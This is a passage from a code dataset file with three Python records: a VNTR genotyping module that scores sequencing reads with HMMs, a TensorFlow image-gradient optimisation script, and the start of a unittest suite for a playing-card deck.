sema = Semaphore(settings.CORES)\n        for read in samfile.fetch(reference, multiple_iterators=True):\n            if read.is_unmapped:\n                continue\n            if read.seq.count('N') > 0:\n                continue\n\n            if self.is_true_read(read):\n                sema.acquire()\n                p = Process(target=VNTRFinder.add_hmm_score_to_list, args=(sema, hmm, read, true_scores))\n            else:\n                if random() > settings.SCORE_FINDING_READS_FRACTION:\n                    continue\n                sema.acquire()\n                p = Process(target=VNTRFinder.add_hmm_score_to_list, args=(sema, hmm, read, false_scores))\n            process_list.append(p)\n            p.start()\n        for p in process_list:\n            p.join()\n\n    def save_scores(self, true_scores, false_scores, alignment_file):\n        with open('true_scores_dist_%s_%s' % (self.reference_vntr.id, os.path.basename(alignment_file)), 'w') as out:\n            for score in true_scores:\n                out.write('%.4f\\n' % score)\n        with open('false_scores_dist_%s_%s' % (self.reference_vntr.id, os.path.basename(alignment_file)), 'w') as out:\n            for score in false_scores:\n                out.write('%.4f\\n' % score)\n\n    @time_usage\n    def calculate_min_score_to_select_a_read(self, hmm, alignment_file):\n        \"\"\"Calculate the score distribution of false positive reads\n        and return score to select the 1e-8 percentile of the distribution\n        \"\"\"\n        process_list = []\n        manager = Manager()\n        false_scores = manager.list()\n        true_scores = manager.list()\n        read_mode = 'r' if alignment_file.endswith('sam') else 'rb'\n        samfile = pysam.AlignmentFile(alignment_file, read_mode)\n        refs = [ref for ref in samfile.references if ref in settings.CHROMOSOMES or 'chr' + ref in settings.CHROMOSOMES]\n        for ref in refs:\n            p = Process(target=self.find_score_distribution_of_ref, args=(samfile, ref, hmm, false_scores, true_scores))\n            process_list.append(p)\n            p.start()\n        for p in process_list:\n            p.join()\n\n        if settings.SAVE_SCORE_DISTRIBUTION:\n            self.save_scores(true_scores, false_scores, alignment_file)\n\n        score = numpy.percentile(false_scores, 100 - settings.SCORE_SELECTION_PERCENTILE)\n        return score\n\n    def get_min_score_to_select_a_read(self, hmm, alignment_file, read_length):\n        \"\"\"Try to load the minimum score for this VNTR\n\n        If the score is not stored, it will compute the score and write it for this VNTR in precomputed data.\n        \"\"\"\n        base_name = str(self.reference_vntr.id) + '.scores'\n        stored_scores_file = settings.TRAINED_HMMS_DIR + base_name\n        if settings.USE_TRAINED_HMMS and os.path.isfile(stored_scores_file):\n            with open(stored_scores_file, 'r') as infile:\n                lines = [line.split() for line in infile.readlines() if line.strip() != '']\n                for stored_length, fraction, score in lines:\n                    if int(stored_length) == read_length and settings.SCORE_FINDING_READS_FRACTION == float(fraction):\n                        return float(score)\n                    elif settings.SCALE_SCORES and settings.SCORE_FINDING_READS_FRACTION == float(fraction):\n                        return float(score) * (read_length / int(stored_length))\n\n        logging.debug('Minimum score is not precomputed for vntr id: %s' % self.reference_vntr.id)\n        score = self.calculate_min_score_to_select_a_read(hmm, alignment_file)\n        logging.debug('computed score: %s' % score)\n        with open(stored_scores_file, 'a') as outfile:\n            outfile.write('%s %s %s\\n' % (read_length, settings.SCORE_FINDING_READS_FRACTION, score))\n\n        return score\n\n    def process_unmapped_read(self, sema, read_segment, hmm, min_score_to_count_read,\n                              vntr_bp_in_unmapped_reads, selected_reads, best_seq):\n        if read_segment.seq.count('N') <= 0:\n            sequence = str(read_segment.seq)\n            logp, vpath = hmm.viterbi(sequence)\n            rev_logp, rev_vpath = hmm.viterbi(str(read_segment.seq.reverse_complement()))\n            if logp < rev_logp:\n                sequence = str(read_segment.seq.reverse_complement())\n                logp = rev_logp\n                vpath = rev_vpath\n            if logp > best_seq['logp']:\n                best_seq['logp'] = logp\n                best_seq['seq'] = sequence\n                best_seq['vpath'] = vpath\n            repeat_bps = get_number_of_repeat_bp_matches_in_vpath(vpath)\n            if logp > min_score_to_count_read:\n                if repeat_bps > self.min_repeat_bp_to_count_repeats:\n                    vntr_bp_in_unmapped_reads.value += repeat_bps\n                if repeat_bps > self.min_repeat_bp_to_add_read:\n                    selected_reads.append(SelectedRead(sequence, logp, vpath))\n        sema.release()\n\n    def find_frameshift_from_selected_reads(self, selected_reads):\n        mutations = {}\n        repeating_bps_in_data = 0\n        repeats_lengths_distribution = []\n        for read in selected_reads:\n            visited_states = [state.name for idx, state in read.vpath[1:-1]]\n            repeats_lengths = get_repeating_pattern_lengths(visited_states)\n            repeats_lengths_distribution += repeats_lengths\n            current_repeat = None\n            repeating_bps_in_data += get_number_of_repeat_bp_matches_in_vpath(read.vpath)\n            for i in range(len(visited_states)):\n                if visited_states[i].endswith('fix') or visited_states[i].startswith('M'):\n                    continue\n                if visited_states[i].startswith('unit_start'):\n                    if current_repeat is None:\n                        current_repeat = 0\n                    else:\n                        current_repeat += 1\n                if current_repeat is None or current_repeat >= len(repeats_lengths):\n                    continue\n                if not visited_states[i].startswith('I') and not visited_states[i].startswith('D'):\n                    continue\n                if repeats_lengths[current_repeat] == len(self.reference_vntr.pattern):\n                    continue\n                state = visited_states[i].split('_')[0]\n                if state.startswith('I'):\n                    state += get_emitted_basepair_from_visited_states(visited_states[i], visited_states, read.sequence)\n                if abs(repeats_lengths[current_repeat] - len(self.reference_vntr.pattern)) <= 2:\n                    if state not in mutations.keys():\n                        mutations[state] = 0\n                    mutations[state] += 1\n        sorted_mutations = sorted(mutations.items(), key=lambda x: x[1])\n        logging.debug('sorted mutations: %s ' % sorted_mutations)\n        frameshift_candidate = sorted_mutations[-1] if len(sorted_mutations) else (None, 0)\n        logging.info(sorted(repeats_lengths_distribution))\n        logging.info('Frameshift Candidate and Occurrence %s: %s' % frameshift_candidate)\n        logging.info('Observed repeating base pairs in data: %s' % repeating_bps_in_data)\n        avg_bp_coverage = float(repeating_bps_in_data) / self.reference_vntr.get_length()\n        logging.info('Average coverage for each base pair: %s' % avg_bp_coverage)\n        if frameshift_candidate[1] > avg_bp_coverage / 4:\n            logging.info('There is a frameshift at %s' % frameshift_candidate[0])\n            return frameshift_candidate[0]\n        return None\n\n    def read_flanks_repeats_with_confidence(self, vpath):\n        minimum_left_flanking = 5\n        minimum_right_flanking = 5\n        if self.reference_vntr.id in self.minimum_left_flanking_size:\n            minimum_left_flanking = self.minimum_left_flanking_size[self.reference_vntr.id]\n        if self.reference_vntr.id in self.minimum_right_flanking_size:\n            minimum_right_flanking = self.minimum_right_flanking_size[self.reference_vntr.id]\n\n        if get_left_flanking_region_size_in_vpath(vpath) > minimum_left_flanking:\n            if get_right_flanking_region_size_in_vpath(vpath) > minimum_right_flanking:\n                return True\n        return False\n\n    def check_if_flanking_regions_align_to_str(self, read_str, length_distribution, spanning_reads):\n        flanking_region_size = 100\n        left_flanking = self.reference_vntr.left_flanking_region[-flanking_region_size:]\n        right_flanking = self.reference_vntr.right_flanking_region[:flanking_region_size]\n        left_alignments = pairwise2.align.localms(read_str, left_flanking, 1, -1, -1, -1)\n        if len(left_alignments) < 1:\n            return\n        min_left, max_left = 10e9, 0\n        for aln in left_alignments:\n            if aln[2] < len(left_flanking) * (1 - 0.3):\n                continue\n            min_left = min(min_left, aln[3])\n            max_left = max(max_left, aln[3])\n        if max_left - min_left > 30:\n            with open('vntr_complex.txt', 'a') as out:\n                out.write('%s %s\\n' % (self.reference_vntr.id, max_left - min_left))\n        left_align = left_alignments[0]\n        if left_align[2] < len(left_flanking) * (1 - settings.MAX_ERROR_RATE):\n            return\n\n        right_alignments = pairwise2.align.localms(read_str, right_flanking, 1, -1, -1, -1)\n        if len(right_alignments) < 1:\n            return\n        min_right, max_right = 10e9, 0\n        for aln in right_alignments:\n            if aln[2] < len(right_flanking) * (1 - 0.3):\n                continue\n            min_right = min(min_right, aln[3])\n            max_right = max(max_right, aln[3])\n        if max_right - min_right > 30:\n            with open('vntr_complex.txt', 'a') as out:\n                out.write('%s %s\\n' % (self.reference_vntr.id, max_right - min_right))\n        right_align = right_alignments[0]\n        if right_align[2] < len(right_flanking) * (1 - settings.MAX_ERROR_RATE):\n            return\n\n        if right_align[3] < left_align[3]:\n            return\n        spanning_reads.append(read_str[left_align[3]:right_align[3]+flanking_region_size].upper())\n        length_distribution.append(right_align[3] - (left_align[3] + flanking_region_size))\n\n    def check_if_pacbio_read_spans_vntr(self, sema, read, length_distribution, spanning_reads):\n        self.check_if_flanking_regions_align_to_str(str(read.seq), length_distribution, spanning_reads)\n        reverse_complement_str = str(Seq(str(read.seq)).reverse_complement())\n        self.check_if_flanking_regions_align_to_str(reverse_complement_str, length_distribution, spanning_reads)\n        sema.release()\n\n    def check_if_pacbio_mapped_read_spans_vntr(self, sema, read, length_distribution, spanning_reads):\n        flanking_region_size = 100\n        region_start = self.reference_vntr.start_point - flanking_region_size\n        region_end = self.reference_vntr.start_point + self.reference_vntr.get_length()\n        if read.get_reference_positions()[0] < region_start and read.get_reference_positions()[-1] > region_end:\n            read_region_start = None\n            read_region_end = None\n            for read_pos, ref_pos in enumerate(read.get_reference_positions()):\n                if ref_pos >= region_start and read_region_start is None:\n                    read_region_start = read_pos\n                if ref_pos >= region_end and read_region_end is None:\n                    read_region_end = read_pos\n            if read_region_start is not None and read_region_end is not None:\n                result = read.seq[read_region_start:read_region_end+flanking_region_size]\n                if read.is_reverse:\n                    result = str(Seq(result).reverse_complement())\n                spanning_reads.append(result)\n                length_distribution.append(len(result) - flanking_region_size * 2)\n        sema.release()\n\n    @time_usage\n    def get_spanning_reads_of_unaligned_pacbio_reads(self, unmapped_filtered_reads):\n        sema = Semaphore(settings.CORES)\n        manager = Manager()\n        shared_length_distribution = manager.list()\n        shared_spanning_reads = manager.list()\n\n        process_list = []\n        for read in unmapped_filtered_reads:\n            sema.acquire()\n            p = Process(target=self.check_if_pacbio_read_spans_vntr, args=(sema, read, shared_length_distribution,\n                                                                           shared_spanning_reads))\n            process_list.append(p)\n            p.start()\n        for p in process_list:\n            p.join()\n        logging.info('length_distribution of unmapped spanning reads: %s' % list(shared_length_distribution))\n        return list(shared_spanning_reads), list(shared_length_distribution)\n\n    @time_usage\n    def get_spanning_reads_of_aligned_pacbio_reads(self, alignment_file):\n        sema = Semaphore(settings.CORES)\n        manager = Manager()\n        length_distribution = manager.list()\n        mapped_spanning_reads = manager.list()\n\n        vntr_start = self.reference_vntr.start_point\n        vntr_end = self.reference_vntr.start_point + self.reference_vntr.get_length()\n        region_start = vntr_start\n        region_end = vntr_end\n        read_mode = 'r' if alignment_file.endswith('sam') else 'rb'\n        samfile = pysam.AlignmentFile(alignment_file, read_mode)\n        reference = get_reference_genome_of_alignment_file(samfile)\n        chromosome = self.reference_vntr.chromosome if reference == 'HG19' else self.reference_vntr.chromosome[3:]\n        process_list = []\n        for read in samfile.fetch(chromosome, region_start, region_end):\n            sema.acquire()\n            p = Process(target=self.check_if_pacbio_read_spans_vntr, args=(sema, read, length_distribution,\n                                                                           mapped_spanning_reads))\n            process_list.append(p)\n            p.start()\n\n        for p in process_list:\n            p.join()\n\n        logging.info('length_distribution of mapped spanning reads: %s' % list(length_distribution))\n        return list(mapped_spanning_reads)\n\n    def get_conditional_likelihood(self, ck, ci, cj, ru_counts, r, r_e):\n        if ck == ci == cj:\n            return 1-r\n        if cj == 0:  # CHECK LATER\n            return 0.5 * (1-r)\n        if ck == ci:\n            return 0.5 * ((1-r) + r_e ** abs(ck-cj))\n        if ck == cj:\n            return 0.5 * ((1-r) + r_e ** abs(ck-ci))\n        if ck != ci and ck != cj:\n            return 0.5 * (r_e ** abs(ck-ci) + r_e ** abs(ck-cj))\n\n    def find_genotype_based_on_observed_repeats(self, observed_copy_numbers):\n        ru_counts = {}\n        for cn in observed_copy_numbers:\n            if cn not in ru_counts.keys():\n                ru_counts[cn] = 0\n            ru_counts[cn] += 1\n        if len(ru_counts.keys()) < 2:\n            priors = 0.5\n            ru_counts[0] = 1\n        else:\n            priors = 1.0 / (len(ru_counts.keys()) * (len(ru_counts.keys())-1) / 2)\n        import operator\n        ru_counts = sorted(ru_counts.items(), key=operator.itemgetter(1), reverse=True)\n        r = 0.03\n        r_e = r / (2 + r)\n        prs = {}\n        for ck, occ in ru_counts:\n            if ck == 0:\n                continue\n            for i in range(len(ru_counts)):\n                ci = ru_counts[i][0]\n                for j in range(len(ru_counts)):\n                    if j < i:\n                        continue\n                    cj = ru_counts[j][0]\n                    if (ci, cj) not in prs.keys():\n                        prs[(ci, cj)] = []\n                    prs[(ci, cj)].append(self.get_conditional_likelihood(ck, ci, cj, ru_counts, r, r_e) ** occ)\n\n        posteriors = {}\n        import numpy\n        for key in prs.keys():\n            prs[key] = numpy.prod(numpy.array(prs[key]))\n            posteriors[key] = prs[key] * priors\n\n        sum_of_probs = sum(posteriors.values())\n\n        max_prob = 1e-20\n        result = None\n        for key, value in posteriors.items():\n            if value / sum_of_probs > max_prob:\n                max_prob = value / sum_of_probs\n                result = key\n\n        logging.info('Maximum probability for genotyping: %s' % max_prob)\n        return result\n\n    def get_dominant_copy_numbers_from_spanning_reads(self, spanning_reads):\n        if len(spanning_reads) < 1:\n            logging.info('There is no spanning read')\n            return None\n        max_length = 0\n        for read in spanning_reads:\n            if len(read) - 100 > max_length:\n                max_length = len(read) - 100\n        max_copies = int(round(max_length / float(len(self.reference_vntr.pattern))))\n        # max_copies = min(max_copies, 2 * len(self.reference_vntr.get_repeat_segments()))\n        vntr_matcher = self.build_vntr_matcher_hmm(max_copies)\n        observed_copy_numbers = []\n        for haplotype in spanning_reads:\n            logp, vpath = vntr_matcher.viterbi(haplotype)\n            rev_logp, rev_vpath = vntr_matcher.viterbi(str(Seq(haplotype).reverse_complement()))\n            if logp < rev_logp:\n                vpath = rev_vpath\n            observed_copy_numbers.append(get_number_of_repeats_in_vpath(vpath))\n\n        logging.info('flanked repeats: %s' % observed_copy_numbers)\n        return self.find_genotype_based_on_observed_repeats(observed_copy_numbers)\n\n    @time_usage\n    def get_haplotype_copy_numbers_from_spanning_reads(self, spanning_reads):\n        if len(spanning_reads) < 1:\n            logging.info('There is no spanning read')\n            return None\n        max_length = 0\n        for read in spanning_reads:\n            if len(read) - 100 > max_length:\n                max_length = len(read) - 100\n        max_copies = int(round(max_length / float(len(self.reference_vntr.pattern))))\n        max_copies = min(max_copies, 2 * len(self.reference_vntr.get_repeat_segments()))\n        vntr_matcher = self.build_vntr_matcher_hmm(max_copies)\n        haplotyper = PacBioHaplotyper(spanning_reads)\n        haplotypes = haplotyper.get_error_corrected_haplotypes()\n        copy_numbers = []\n        for haplotype in haplotypes:\n            # print('haplotype: %s' % haplotype)\n            logp, vpath = vntr_matcher.viterbi(haplotype)\n            rev_logp, rev_vpath = vntr_matcher.viterbi(str(Seq(haplotype).reverse_complement()))\n            if logp < rev_logp:\n                vpath = rev_vpath\n            copy_numbers.append(get_number_of_repeats_in_vpath(vpath))\n        return copy_numbers\n\n    @time_usage\n    def find_repeat_count_from_pacbio_alignment_file(self, alignment_file, unmapped_filtered_reads):\n        logging.debug('finding repeat count from pacbio alignment file for %s' % self.reference_vntr.id)\n\n        unaligned_spanning_reads, length_dist = self.get_spanning_reads_of_unaligned_pacbio_reads(unmapped_filtered_reads)\n        mapped_spanning_reads = self.get_spanning_reads_of_aligned_pacbio_reads(alignment_file)\n\n        spanning_reads = mapped_spanning_reads + unaligned_spanning_reads\n        copy_numbers = self.get_dominant_copy_numbers_from_spanning_reads(spanning_reads)\n        return copy_numbers\n\n    @time_usage\n    def find_repeat_count_from_pacbio_reads(self, unmapped_filtered_reads, naive=False):\n        logging.debug('finding repeat count from pacbio reads file for %s' % self.reference_vntr.id)\n        spanning_reads, length_dist = self.get_spanning_reads_of_unaligned_pacbio_reads(unmapped_filtered_reads)\n        if naive:\n            if len(length_dist):\n                average_length = sum(length_dist) / float(len(length_dist))\n                copy_numbers = [round(average_length / len(self.reference_vntr.pattern))] * 2\n            else:\n                copy_numbers = None\n        else:\n            copy_numbers = self.get_dominant_copy_numbers_from_spanning_reads(spanning_reads)\n        return copy_numbers\n\n    @time_usage\n    def select_illumina_reads(self, alignment_file, unmapped_filtered_reads):\n        hmm = None\n        min_score_to_count_read = None\n        sema = Semaphore(settings.CORES)\n        manager = Manager()\n        selected_reads = manager.list()\n        vntr_bp_in_unmapped_reads = Value('d', 0.0)\n\n        number_of_reads = 0\n        read_length = 150\n\n        process_list = []\n\n        best_seq = manager.dict()\n        best_seq['logp'] = -10e8\n        best_seq['vpath'] = ''\n        best_seq['seq'] = ''\n\n        for read_segment in unmapped_filtered_reads:\n            if number_of_reads == 0:\n                read_length = len(str(read_segment.seq))\n            number_of_reads += 1\n            if not hmm:\n                hmm = self.get_vntr_matcher_hmm(read_length=read_length)\n                min_score_to_count_read = self.get_min_score_to_select_a_read(hmm, alignment_file, read_length)\n\n            if len(read_segment.seq) < read_length:\n                continue\n\n            sema.acquire()\n            p = Process(target=self.process_unmapped_read, args=(sema, read_segment, hmm, min_score_to_count_read,\n                                                                 vntr_bp_in_unmapped_reads, selected_reads, best_seq))\n            process_list.append(p)\n            p.start()\n        for p in process_list:\n            p.join()\n\n        logging.debug('vntr base pairs in unmapped reads: %s' % vntr_bp_in_unmapped_reads.value)\n        logging.debug('highest logp in unmapped reads: %s' % best_seq['logp'])\n        logging.debug('best sequence %s' % best_seq['seq'])\n        logging.debug('best vpath: %s' % [state.name for idx, state in list(best_seq['vpath'])[1:-1]])\n\n        vntr_bp_in_mapped_reads = 0\n        vntr_start = self.reference_vntr.start_point\n        vntr_end = self.reference_vntr.start_point + self.reference_vntr.get_length()\n        read_mode = 'r' if alignment_file.endswith('sam') else 'rb'\n        samfile = pysam.AlignmentFile(alignment_file, read_mode)\n        reference = get_reference_genome_of_alignment_file(samfile)\n        chromosome = self.reference_vntr.chromosome if reference == 'HG19' else self.reference_vntr.chromosome[3:]\n        for read in samfile.fetch(chromosome, vntr_start, vntr_end):\n            if not hmm:\n                read_length = len(read.seq)\n                hmm = self.get_vntr_matcher_hmm(read_length=read_length)\n                min_score_to_count_read = self.get_min_score_to_select_a_read(hmm, alignment_file, read_length)\n\n            if read.is_unmapped:\n                continue\n            if len(read.seq) < int(read_length * 0.9):\n                logging.debug('Rejecting read for short length: %s' % read.seq)\n                continue\n            read_end = read.reference_end if read.reference_end else read.reference_start + len(read.seq)\n            if vntr_start - read_length < read.reference_start < vntr_end or vntr_start < read_end < vntr_end:\n                if read.seq.count('N') <= 0:\n                    sequence = str(read.seq)\n                    logp, vpath = hmm.viterbi(sequence)\n                    rev_logp, rev_vpath = hmm.viterbi(str(Seq(read.seq).reverse_complement()))\n                    if logp < rev_logp:\n                        sequence = str(Seq(read.seq).reverse_complement())\n                        logp = rev_logp\n                        vpath = rev_vpath\n                    if is_low_quality_read(read) and logp < min_score_to_count_read:\n                        logging.debug('Rejected Read: %s' % sequence)\n                        continue\n                    selected_reads.append(SelectedRead(sequence, logp, vpath, read.mapq, read.reference_start))\n                end = min(read_end, vntr_end)\n                start = max(read.reference_start, vntr_start)\n                vntr_bp_in_mapped_reads += end - start\n        logging.debug('vntr base pairs in mapped reads: %s' % vntr_bp_in_mapped_reads)\n\n        return selected_reads\n\n    @time_usage\n    def find_frameshift_from_alignment_file(self, alignment_file, unmapped_filtered_reads):\n        logging.debug('finding frameshift from alignment file for %s' % self.reference_vntr.id)\n\n        selected_reads = self.select_illumina_reads(alignment_file, unmapped_filtered_reads)\n        return self.find_frameshift_from_selected_reads(selected_reads)\n\n    @time_usage\n    def find_repeat_count_from_alignment_file(self, alignment_file, unmapped_filtered_reads):\n        logging.debug('finding repeat count from alignment file for %s' % self.reference_vntr.id)\n\n        selected_reads = self.select_illumina_reads(alignment_file, unmapped_filtered_reads)\n\n        covered_repeats = []\n        flanking_repeats = []\n        total_counted_vntr_bp = 0\n        for selected_read in selected_reads:\n            repeats = get_number_of_repeats_in_vpath(selected_read.vpath)\n            total_counted_vntr_bp += get_number_of_repeat_bp_matches_in_vpath(selected_read.vpath)\n            logging.debug('logp of read: %s' % str(selected_read.logp))\n            logging.debug('left flankign size: %s' % get_left_flanking_region_size_in_vpath(selected_read.vpath))\n            logging.debug('right flanking size: %s' % get_right_flanking_region_size_in_vpath(selected_read.vpath))\n            logging.debug(selected_read.sequence)\n            visited_states = [state.name for idx, state in selected_read.vpath[1:-1]]\n            if self.read_flanks_repeats_with_confidence(selected_read.vpath):\n                logging.debug('spanning read visited states :%s' % visited_states)\n                logging.debug('repeats: %s' % repeats)\n                covered_repeats.append(repeats)\n            else:\n                flanking_repeats.append(repeats)\n        flanking_repeats = reversed(sorted(flanking_repeats))\n        logging.info('flanked repeats: %s' % covered_repeats)\n        logging.info('observed repeats: %s' % sorted(flanking_repeats))\n        min_valid_flanked = max(covered_repeats) if len(covered_repeats) > 0 else 0\n        max_flanking_repeat = [r for r in flanking_repeats if r == max(flanking_repeats) and r >= min_valid_flanked]\n        if len(max_flanking_repeat) < 5:\n            max_flanking_repeat = []\n\n        if self.reference_vntr.id not in settings.LONG_VNTRS:\n            genotype = self.find_genotype_based_on_observed_repeats(covered_repeats + max_flanking_repeat)\n            return genotype\n\n        pattern_occurrences = total_counted_vntr_bp / float(len(self.reference_vntr.pattern))\n        read_mode = 'r' if alignment_file.endswith('sam') else 'rb'\n        samfile = pysam.AlignmentFile(alignment_file, read_mode)\n        reference = get_reference_genome_of_alignment_file(samfile)\n        bias_detector = CoverageBiasDetector(alignment_file, self.reference_vntr.chromosome, reference)\n        coverage_corrector = CoverageCorrector(bias_detector.get_gc_content_coverage_map())\n\n        logging.info('Sequencing mean coverage: %s' % coverage_corrector.get_sequencing_mean_coverage())\n        observed_copy_number = pattern_occurrences / coverage_corrector.get_sequencing_mean_coverage()\n        scaled_copy_number = coverage_corrector.get_scaled_coverage(self.reference_vntr, observed_copy_number)\n        logging.info('scaled copy number and observed copy number: %s, %s' % (scaled_copy_number, observed_copy_number))\n        return [scaled_copy_number]\n\n    def find_repeat_count_from_short_reads(self, short_read_files, working_directory='./'):\n        \"\"\"\n        Map short read sequencing data to human reference genome (hg19) and call find_repeat_count_from_alignment_file\n        :param short_read_files: short read sequencing data\n        :param working_directory: directory for generating the outputs\n        \"\"\"\n        alignment_file = '' + short_read_files\n        # TODO: use bowtie2 to map short reads to hg19\n        return self.find_repeat_count_from_alignment_file(alignment_file, working_directory)\n\n    def find_accuracy(self, samfile='original_reads/paired_dat.sam'):\n        \"\"\"Find sensitivity and false positive reads for a set of simulated data\n        \"\"\"\n        reference_end_pos = self.reference_vntr.start_point + self.reference_vntr.get_length()\n        related_reads, read_count = get_related_reads_and_read_count_in_samfile(self.reference_vntr.pattern,\n                                                                                self.reference_vntr.start_point,\n                                                                                read_file=samfile,\n                                                                                pattern_end=reference_end_pos)\n        # TODO\n        selected_reads = []\n        occurrences = 0\n        avg_coverage = 1\n        true_positives = [read for read in selected_reads if read in related_reads]\n        false_positives = [read for read in selected_reads if read not in true_positives]\n        false_negatives = [read for read in related_reads if read not in selected_reads]\n        # print('TP:', len(true_positives), 'FP:', len(false_positives), 'selected:', len(selected_reads))\n        # print('FN:', len(false_negatives))\n        sensitivity = float(len(true_positives)) / len(related_reads) if len(related_reads) > 0 else 0\n        if sensitivity > 0.9:\n            print(sensitivity, len(false_positives))\n        if 1 > sensitivity > 0.9 and len(false_negatives) > 0 and len(false_positives) > 0:\n            print('sensitivity ', sensitivity, ' FN:', false_negatives[0], ' FP:', false_positives[0])\n        with open('FP_and_sensitivity_HMM_read_scoring_method.txt', 'a') as outfile:\n            outfile.write('%s\\t%s\\t%s\\t%s\\t%s\\n' % (\n                len(false_positives), sensitivity, self.reference_vntr.id, len(self.reference_vntr.pattern),\n                len(true_positives)))\n        error = abs(len(self.reference_vntr.get_repeat_segments()) - occurrences / avg_coverage)\n        print(error)\n","sub_path":"src/vntr_finder.py","file_name":"vntr_finder.py","file_ext":"py","file_size_in_byte":35821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"256704603","text":"#coding=utf-8\r\nimport tensorflow as tf\r\nimport cv2\r\nfrom PIL import Image\r\nimport numpy as np\r\n\r\ncolor_image=\"C:/Users/Administrator/Desktop/11/I0.tif\"\r\ngradient_image=\"C:/Users/Administrator/Desktop/11/I.tif\"\r\nsave_dir=\"C:/Users/Administrator/Desktop/mean/\"\r\n\r\ndef conver_image_to_tensor(img_path):\r\n    #the image has been divided by 255\r\n    img_data=Image.open(img_path)\r\n    img_data=np.array(img_data)\r\n    img_data=tf.cast(img_data, tf.float32)/255\r\n    return img_data\r\n\r\ndef image_gradient(img_data):\r\n    #first, convert image to gray scale image\r\n    #second: figure image's gradient in the direction of X and Y\r\n    #third: multiply and sqrt\r\n    #forth: convert one channel image into three channel image\r\n    img_data=tf.image.rgb_to_grayscale(img_data)\r\n    img_data_x=tf.pad(img_data, [[0,0],[0,1],[0,0]], mode='REFLECT')\r\n    img_data_y=tf.pad(img_data, [[0,1],[0,0],[0,0]], mode='REFLECT')\r\n    img_data_x=img_data_x[:,1:,:]-img_data_x[:,:-1,:]\r\n    img_data_y=img_data_y[1:]-img_data_y[:-1]\r\n    return img_data_x, img_data_y\r\n\r\ndef figure_phi_and_psi(img_data_x, img_data_y):\r\n    step1=tf.multiply(img_data_x, img_data_x)+tf.multiply(img_data_y, img_data_y)\r\n    step2=tf.sqrt(step1)\r\n    step3=tf.concat([step2,step2,step2], axis=2)\r\n    psi=tf.minimum(255.*step3/5., 1)\r\n    phi=30./(1.+100.*step3)\r\n    return psi, phi\r\n    \r\n\r\n# test_data1=np.random.randint(0,3,(2,2,3))\r\n# test_data2=np.random.randint(0,3,(2,2,3))\r\n# \r\n# test_data1=tf.cast(test_data1, tf.float32)\r\n# test_data2=tf.cast(test_data2, tf.float32)\r\n# \r\n# # result=tf.matmul(test_data1, test_data2)#错误的使用\r\n# result=tf.multiply(test_data1, test_data2)#推荐使用\r\n\r\ngradient_image_data=conver_image_to_tensor(gradient_image)\r\ncolor_image_data=conver_image_to_tensor(color_image)\r\ntarget_image=tf.Variable(color_image_data)\r\n\r\ngradient_image_data_x,gradient_image_data_y=image_gradient(gradient_image_data)\r\ncolor_image_data_x, color_image_data_y=image_gradient(target_image)\r\n\r\npsi, phi=figure_phi_and_psi(gradient_image_data_x, gradient_image_data_y)\r\n\r\nsum1=tf.square(color_image_data_x-gradient_image_data_x)+tf.square(color_image_data_y-gradient_image_data_y)\r\nsum1=tf.multiply(sum1, phi)\r\nsum2=tf.square(target_image-color_image_data)\r\nsum2=tf.multiply(sum2,psi)\r\n\r\nloss=tf.reduce_mean(sum1)+tf.reduce_mean(sum2)\r\n# loss=tf.reduce_sum(sum1)+tf.reduce_sum(sum2)\r\ntrain_step=tf.train.AdamOptimizer(0.001).minimize(loss)\r\n\r\nphi_mean, phi_variance=tf.nn.moments(phi, [0,1,2])\r\nphi_max=tf.reduce_max(phi)\r\nphi_min=tf.reduce_min(phi)\r\n\r\npsi_mean, psi_variance=tf.nn.moments(psi, [0,1,2] )\r\npsi_max=tf.reduce_max(psi)\r\npsi_min=tf.reduce_min(psi)\r\n\r\nwith tf.Session() as sess:\r\n    print(\"start\")\r\n    sess.run(tf.global_variables_initializer())\r\n    for i in range(1,1001):\r\n        sess.run(train_step)\r\n        if i % 100==0:\r\n            print(loss.eval())\r\n            print(\"phi的平均值是:\", phi_mean.eval(), \"\\t方差为:\", phi_variance.eval(), \"\\t最大值为：\",phi_max.eval(), \"\\t最小值为：\", phi_min.eval())\r\n            print(\"psi的平均值是:\", psi_mean.eval(), \"\\t方差为:\", psi_variance.eval(), \"\\t最大值为：\",psi_max.eval(), \"\\t最小值为：\", psi_min.eval())\r\n            image_array=np.array(target_image.eval()*255, dtype='float32')\r\n            image_array=np.abs(image_array)\r\n            image_array=cv2.cvtColor(image_array, cv2.COLOR_BGR2RGB)\r\n            cv2.imwrite(save_dir+\"{}.png\".format(str(i)), image_array)\r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    ","sub_path":"imageRelatedShell/colorTransfer/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":3709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"17698605","text":"#/usr/bin/python3\n\nimport unittest\nfrom itertools import product\nfrom playing_card import PlayingCardDeck, PlayingCard\n\nclass TestPlayingCard(unittest.TestCase):\n\n    def test_compare_two_cards(self):\n        \"\"\"\n        Tests the comparison function by comparing the numeral value\n        of the card by drawing two cards and do manual comparison within this.\n        The result is compared to the is_high_card function.\n        \"\"\"\n        deck = PlayingCardDeck()\n        first_card = PlayingCard(deck)\n        second_card = PlayingCard(deck)\n\n        value = None\n        if first_card.num_value > second_card.num_value:\n            value = 1\n        elif first_card.num_value <second_card.num_value:\n            value = -1\n        else:\n            value = 0\n        \n        self.assertEqual(first_card.is_higher_card(second_card), value)\n\n    def test_string_value(self):\n        \"\"\"\n        Tests the formatting functionality to human-readable form to make sure\n        that it meets the expected format (e.g., Eight of Heart)\n        \"\"\"        \n        deck = PlayingCardDeck()\n        card = PlayingCard(deck)\n        self.assertEqual(card.get_string_value(), \"%s of %s\" % (card.str_value, card.suit))\n\n    def test_get_num_cards_left(self):\n        \"\"\"\n        Tests the card drawing functionality by creating a card from the deck.\n        There should only be 51 cards left\n        \"\"\"\n        deck = PlayingCardDeck()\n        PlayingCard(deck)  \n        self.assertEqual(deck.get_num_card_left(), 51) \n\n    def test_draw_all_cards(self):\n        \"\"\"\n        This tests the functionality where an assertion error is thrown when\n        the deck is out of card.\n        \"\"\"\n        deck = PlayingCardDeck()\n        with 